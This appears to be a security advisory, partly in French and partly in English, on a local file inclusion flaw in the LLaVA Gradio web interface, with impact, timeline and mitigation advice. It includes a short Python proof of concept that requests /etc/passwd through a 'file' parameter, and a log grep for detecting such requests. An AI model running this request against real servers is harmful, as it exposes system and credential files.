Inclusion de fichier local dans haotian-liu/llava

L'exploitation réussie de cette vulnérabilité permet à un attaquant de lire n'importe quel fichier accessible au processus serveur LLava. Cela peut inclure des fichiers de configuration contenant des informations sensibles, des clés API, des mots de passe ou d'autres données confidentielles. L'attaquant pourrait également utiliser cette vulnérabilité pour exécuter du code arbitraire sur le système si des fichiers exécutables sont accessibles et peuvent être manipulés. Le risque est exacerbé si LLava est déployé dans un environnement de production avec des données sensibles ou s'il est utilisé pour traiter des informations confidentielles.

Users deploying LLaVA for research or experimentation, particularly those using the gradio web UI for interactive demonstrations, are at risk. Shared hosting environments where LLaVA is deployed alongside other applications are also vulnerable, as a successful exploit could potentially compromise the entire host.

• python / server:

import os
import requests

# Target URL
url = "http://your-llava-server/gradio_app"

# Attempt to read a sensitive file
file_to_read = "/etc/passwd"

# Craft the request
params = {'file': file_to_read}

# Send the request
response = requests.get(url, params=params)

# Check the response
if response.status_code == 200:
    print(f"File content: {response.text}")
else:
    print(f"Request failed with status code: {response.status_code}")

• linux / server:

# Monitor access logs for suspicious file requests
grep -i "/etc/passwd" /var/log/apache2/access.log

1. 2025-03-20Disclosure

   disclosure

1. Réservé2024-12-02
2. Publiée2025-03-20
3. Modifiée2025-10-15
4. EPSS mis à jour2026-04-02

La mitigation immédiate consiste à mettre à jour LLava vers la dernière version disponible, qui devrait inclure une correction pour cette vulnérabilité. Si la mise à jour n'est pas possible immédiatement, des mesures temporaires peuvent être prises. Il est fortement recommandé de restreindre l'accès à l'interface web Gradio uniquement aux utilisateurs autorisés et de mettre en œuvre une validation stricte de toutes les entrées utilisateur. L'utilisation d'un pare-feu d'application web (WAF) peut également aider à bloquer les requêtes malveillantes. Surveillez attentivement les journaux du serveur pour détecter toute activité suspecte.